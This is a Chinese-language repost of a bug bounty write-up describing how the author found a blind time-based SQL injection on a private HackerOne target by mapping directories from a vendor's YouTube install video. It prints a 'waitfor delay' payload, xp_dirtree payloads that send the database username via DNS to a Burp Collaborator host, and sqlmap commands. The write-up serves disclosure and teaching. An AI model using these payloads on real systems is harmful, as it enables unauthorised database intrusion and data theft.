YouTube 视频是如何通过 SQL 注入获得价值 4324 美元赏金的 Web 应用程序的

admin 2022年4月20日12:59:45安全文章评论11 views2880字阅读9分36秒阅读模式

点击上方蓝字“Ots安全”一起玩耍

这篇文章是关于我在 HackerOne 上的一个私人程序上的发现之一。由于这是一个私人程序,因此我进行了某些修改以防止泄露任何敏感信息。这是我的第一篇文章,所以请忽略错误。

所以当我被邀请在 HackerOne 上破解这个私人程序时,我做了一些基本的侦察,其中包括子域枚举。在使用一些开源工具(如 AMASS 等)收集子域后,我开始查看它们中的每一个。在这个过程中,我偶然发现了一个域,假设它是chat.example.com。登录页面提供默认的 IIS 服务器登录页面。

YouTube 视频是如何通过 SQL 注入获得价值 4324 美元赏金的 Web 应用程序的在遇到默认网页后,总是有可能存在某些内容,因此我继续使用我的自定义单词列表通过目录暴力破解资产进行内容发现。我用于对 Web 服务器ffuf的根目录进行模糊测试/,结果中只有一个目录,假设它是/vendor-name. 访问应用程序时https://chat.example.com/vendorname/ 出现 403 禁止错误

YouTube 视频是如何通过 SQL 注入获得价值 4324 美元赏金的 Web 应用程序的

在遇到错误时,我对/vendor-name导致我进入另一个成功目录的目录进行了模糊测试,假设它是这样/software-name,并且也给出了 403 禁止错误。Fuzzing/vendor-name/software-name/端点给出了多个结果,例如/bin,/scripts,/logs,/styles等,但没有什么有趣的。Logs 似乎很有趣,但是在这些端点上运行单词列表并没有产生任何有趣的结果。我尝试了各种扩展html,aspx,ashx,asp,bak,log,但都没有奏效,这对我来说似乎是一条死胡同。


然后我继续用谷歌搜索前两个目录的名称,因为它们看起来像/vendor-name/software-name,所以我用谷歌搜索Vendor-Name Software-Name,我得到的结果和关于服务器上安装的软件的信息很少。这是一个付费聊天/支持软件。在此之后,我在 GitHub 等上搜索了应用程序的目录结构,但没有任何可用的。浏览多个结果后,我发现供应商的YouTube视频解释了如何安装和配置应用程序。由于这是关于软件的演示,因此讲师正在演示配置各种配置文件的方法,因此在视频中,讲师打开了安装服务器的文件夹,当他深入软件目录时,我能够映射我的发现与软件的目录结构。最后,在复制粘贴各种目录/文件并从视频创建单词表之后,我在视频的帮助下发现了一些表格,其中之一是 https://chat.example.com/vendor-name/software-name/directory1/vulnerableform.html.

YouTube 视频是如何通过 SQL 注入获得价值 4324 美元赏金的 Web 应用程序的

在填写详细信息并在Send 发送数据之前单击之后,发出了一个先前的 GET 请求,看起来像https://chat.example.com/vendor-name/software-name/_randomfiles.aspx?_param1=1&_returnURL=%2Fexample.html This 看起来很有趣,所以我尝试查看请求和响应。响应包含一个 HTML 重定向到提到的路径,_returnURL所以我尝试给出https://evil.com,_returnURL 并且响应包含一个 HTML 重定向,https://evil.com但像往常一样Open Redirect超出了范围。我试图注入javascript:alert(1)URL,但它被正确编码。在此之后,我尝试查看 SQL 注入漏洞的其他参数,更改其值对响应没有影响,因此基于错误的 SQLI 是不可能的,所以我想尝试一些基本的Blind SQLI参数上的有效负载。在尝试了一些有条件的Blind SQLI有效负载以引起一些响应差异或一些错误并失败之后,我尝试注入一些Blind SQLI有效负载来触发时间延迟。由于它是 Microsoft 服务器,因此后端数据库很可能是支持批处理查询的 Microsoft SQL Server,我尝试使用无条件时间延迟和参数上最基本的有效负载来诱导一些响应延迟,即waitfor delay'0:0:20'-- 令我惊讶的是,注射成功了,响应延迟了 20 秒。有多种方法可以利用盲 SQL 注入,例如触发条件响应和带外利用。最常见的方法是可能应用程序触发带外交互到我们控制的系统。最常见的方法是使用 DNS(域名服务)协议,因为几乎每个组织都允许传出 DNS 查询,在这种情况下也是如此。

YouTube 视频是如何通过 SQL 注入获得价值 4324 美元赏金的 Web 应用程序的

在此之后,一切都是关于谷歌搜索的东西。起初,为了确认漏洞,我使用了“xp_dirtree”一个存储过程,它会尝试列出其在第一个参数中给出的目录或网络共享的内容。如果列表是网络共享,它将对其进行DNS查找,如果我们收到回调,我们可以确认OOB提取数据是可能的。

PingBack 有效负载

;declare @q varchar(99);set @q=’\[YOU_BURP_COLLAB_SUBDOMAIN_PART_HERE].burpcollab’+’orator.netogy’; exec master.dbo.xp_dirtree @q; —

YouTube 视频是如何通过 SQL 注入获得价值 4324 美元赏金的 Web 应用程序的

用户名提取负载

;declare @q varchar(99);set @q=’\[YOU_BURP_COLLAB_SUBDOMAIN_PART_HERE]’+(SELECT user_name())+’.burpcollab’+’orator.netogy’; exec master.dbo.xp_dirtree @q; —

YouTube 视频是如何通过 SQL 注入获得价值 4324 美元赏金的 Web 应用程序的

但是,可以手动提取的字符数有限制。如果查询的结果少于 253,包括 burp 协作者域,那么只有数据提取是可能的,但这足以对报告进行分类,但为了进一步利用,我使用了 SQLMAP,它可以轻松地为我们提供我们想要的数据POC。


1、注射确认

python3 sqlmap.py -u https://chat.example.com/vendorname/softwarename/_randomfiles.aspx?param1=1

YouTube 视频是如何通过 SQL 注入获得价值 4324 美元赏金的 Web 应用程序的

2.获取数据库

python3 sqlmap.py -u https://chat.example.com/vendorname/softwarename/_randomfiles.aspx?param1=1 — dbs

YouTube 视频是如何通过 SQL 注入获得价值 4324 美元赏金的 Web 应用程序的

在此之后,我创建了包含所有信息的报告并将其提交给程序,并且在 HackerOne Triager 可以验证发现该资产已被程序删除以进行缓解之前,但 HackerOne Triager 通过程序确认了这一点,并对报告进行了Critical [9.3] 严重性分类。缓解后,应用程序启动并安全运行。

漏洞解决后,我获得了程序悬赏 4324 美元 YouTube 视频是如何通过 SQL 注入获得价值 4324 美元赏金的 Web 应用程序的

YouTube 视频是如何通过 SQL 注入获得价值 4324 美元赏金的 Web 应用程序的


本文翻译自:https://infosecwriteups.com/how-a-youtube-video-lead-to-pwning-a-web-application-via-sql-injection-worth-4324-bounty-285f0a9b9f6c

YouTube 视频是如何通过 SQL 注入获得价值 4324 美元赏金的 Web 应用程序的

原文始发于微信公众号(Ots安全):YouTube 视频是如何通过 SQL 注入获得价值 4324 美元赏金的 Web 应用程序的

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月20日12:59:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  YouTube 视频是如何通过 SQL 注入获得价值 4324 美元赏金的 Web 应用程序的 https://cn-sec.com/archives/929231.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: